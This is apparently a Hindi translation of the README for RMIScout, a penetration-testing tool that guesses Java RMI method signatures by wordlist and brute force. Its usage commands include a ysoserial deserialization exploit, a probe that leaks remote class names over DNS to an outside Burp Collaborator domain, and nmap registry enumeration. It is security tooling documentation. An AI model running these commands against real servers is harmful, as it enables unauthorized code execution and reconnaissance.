
RMIScout, Java RMI फ़ंक्शनों की गणना करने और RMI पैरामीटर अनमार्शलिंग कमजोरियों का शोषण करने के लिए वर्डलिस्ट और ब्रूटफोर्स रणनीतियों का उपयोग करता है।
RMIScout, उजागर Java RMI इंटरफेस के विरुद्ध वर्डलिस्ट और ब्रूटफोर्स हमलों को सक्षम करता है ताकि बिना आह्वान के सुरक्षित रूप से विधि हस्ताक्षरों का अनुमान लगाया जा सके। यह कई Java RMI प्रोटोकॉल, विधि आह्वान, और शोषण का समर्थन करता है।
RMI फ़ंक्शनों की पहचान करने लेकिन उन्हें निष्पादित न करने के लिए, RMIScout निम्न-स्तरीय RMI नेटवर्क फ़ंक्शनों और डायनामिक क्लास जनरेशन का उपयोग करके जानबूझकर बेमेल प्रकारों के साथ RMI आह्वान भेजता है ताकि दूरस्थ अपवादों को ट्रिगर किया जा सके। सभी मापदंडों को 255-वर्णों वाले नाम वाले एक गतिशील रूप से उत्पन्न सीरियलाइज़ेबल क्लास से बदल दिया जाता है, जो माना जाता है कि दूरस्थ क्लासपाथ में मौजूद नहीं है। उदाहरण के लिए:
Remote Interface:
void login(String user, String password)
RMIScout आह्वान करेगा:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
यदि क्लास मौजूद है, तो इसके परिणामस्वरूप ClassNotFoundException या आर्गुमेंट अनमार्शलिंग त्रुटि के कारण एक दूरस्थ java.rmi.UnmarshalException होगा, बिना अंतर्निहित विधि को आह्वान किए।
अधिक विस्तृत तकनीकी लेखों के लिए:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
दूरस्थ सर्वर पर जांचने के लिए विधि प्रोटोटाइप की एक वर्डलिस्ट प्रदान करें। RMIScout सभी पहचाने गए मिलानों को आउटपुट करेगा।
RMI-IIOP/CORBA के लिए: जब तक विधियाँ ओवरलोडेड न हों, ब्रूट फोर्सिंग और आह्वान के लिए केवल नामों का मिलान होना आवश्यक है (अन्य सभी जानकारी को अनदेखा किया जाता है)।
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
उम्मीदवार विधि नामों की एक वर्डलिस्ट प्रदान करें, फिर उम्मीदवार रिटर्न प्रकारों की अल्पविराम-सीमांकित सूची, पैरामीटरों की संख्या सीमा, और उम्मीदवार पैरामीटर प्रकार प्रदान करें। ब्रूटफोर्स मोड क्रमपरिवर्तन उत्पन्न करेगा और मिलान हस्ताक्षरों की खोज करेगा।
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
गलत तरीके से कॉन्फ़िगर किए गए सर्वरों पर, गैर-आदिम प्रकारों (जैसे, java.util.List) का उपयोग करने वाले किसी भी ज्ञात RMI हस्ताक्षर का शोषण ऑब्जेक्ट को एक सीरियलाइज़्ड पेलोड से बदलकर किया जा सकता है। यह एक काफी सामान्य गलत कॉन्फ़िगरेशन है (जैसे, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server और Gemfire, Apache Karaf + Cassandra) जैसा कि An Trinh के 2019 Blackhat EU वार्ता में उजागर किया गया है।
RMIScout, ysoserial के साथ एकीकृत होता है ताकि प्रक्रिया-व्यापी सीरियलाइज़ेशन फ़िल्टर (JEP 290) को गलत तरीके से कॉन्फ़िगर करने वाली सेवाओं के विरुद्ध डीसीरियलाइज़ेशन हमले किए जा सकें।
शोषण योग्य हस्ताक्षरों के उदाहरण:
void exampleMethod(java.util.Map a) // कोई भी गैर-आदिम प्रकार
void exampleMethod(float[] a) // किसी भी प्रकार की सरणी, यहां तक कि प्रिमिटिव भी
void exampleMethod(String a) // पुराने JDKs पर काम करता है, नीचे देखें...
नोट: java.lang.String प्रकार वाले हस्ताक्षर केवल JRE 8/11/13/14 रिलीज़ में 2020 की शुरुआत से पहले RMI-JRMP में शोषण योग्य हैं, लेकिन RMI-IIOP में अभी भी शोषण योग्य हैं।
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout आपको प्रिमिटिव, प्रिमिटिव सरणियाँ, या स्ट्रिंग्स के साथ किसी भी हस्ताक्षर को आह्वान करने देता है। अधिक उन्नत प्रकारों के लिए एक कस्टम क्लाइंट लिखने की आवश्यकता होगी।
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout, दूरस्थ क्लासपाथ में क्लासेज की पहचान करने के लिए GadgetProbe के साथ एकीकृत होता है। क्लास नाम DNS के माध्यम से बहार निकाले जाते हैं।
प्रोजेक्ट को स्वचालित रूप से बनाने और java -jar सिंटैक्स के चारों ओर एक सुविधाजनक रैपर के रूप में शामिल rmiscout.sh स्क्रिप्ट का उपयोग करें:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
वैकल्पिक रूप से, प्रोजेक्ट को मैन्युअल रूप से बनाएं और पारंपरिक java -jar सिंटैक्स का उपयोग करें:
# मैन्युअल रूप से JAR बनाएं
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
नोट: RMI-IIOP (संकलन/रनटाइम) और ysoserial (रनटाइम) JDK8 पर निर्भर हैं।
डॉकराइज़्ड डेमो RMI सर्वर चलाएं। शामिल demo/wordlist.txt को आज़माएं।
cd demo
./start_demo.sh
प्रश्न: मैं कैसे पता लगा सकता हूं कि <host>:<port> एक RMI रजिस्ट्री है?
./rmiscout list <host> <port> का उपयोग करके दूरस्थ सर्वर पर रजिस्ट्रियों के बारे में जानकारी प्राप्त करें।
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
या, nmap के rmi-dumpregistry स्क्रिप्ट का उपयोग करें:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
प्रश्न: मुझे पोर्ट 1098 पर java.rmi.activation.ActivationSystem नाम से एक रजिस्ट्री मिली। मैं इसके साथ क्या कर सकता हूं?
यह एक rmid एक्टिवेशन सिस्टम डेमन है। इसके सभी तरीके SecurityManager द्वारा प्रतिबंधित हैं। हाल के JRE जांचते हैं कि क्या दूरस्थ पीयर किसी भी दूरस्थ डेटा को डीसीरियलाइज़ करने से पहले लोकलहोस्ट से उत्पन्न होता है। पुराने (2011 से पहले) संस्करणों में यह जांच नहीं थी और वे कमजोर हो सकते हैं। देखें https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
प्रश्न: क्या मैं RMIScout को JRE 8 से नए रनटाइम के साथ चला सकता हूं?
उत्तर: तकनीकी रूप से हाँ, लेकिन विभिन्न सुविधाएं काम करना बंद कर देंगी। CORBA समर्थन, प्रोब समर्थन, और ysoserial (शोषण मोड) JRE 8 निर्भरता अनिवार्य करते हैं।
प्रश्न: मुझे CannotCompileException क्यों मिल रहा है?
उत्तर: CannotCompileException तब होता है जब कोई अमान्य विधि नाम या प्रोटोटाइप सीधे या वर्डलिस्ट के माध्यम से प्रदान किया जाता है। RMIScout, उपयोगकर्ता द्वारा प्रदान किए गए उम्मीदवार हस्ताक्षरों के लिए रनटाइम पर बाइटकोड उत्पन्न करता है। हालांकि RMIScout में उपयोगकर्ता द्वारा प्रदान किए गए प्रोटोटाइप में सामान्य सिंटैक्स त्रुटियों को सुधारने के लिए बुनियादी नियम हैं, यह कभी-कभी विफल हो जाएगा।
Twitter: @BumbleSec
GitHub: the-bumble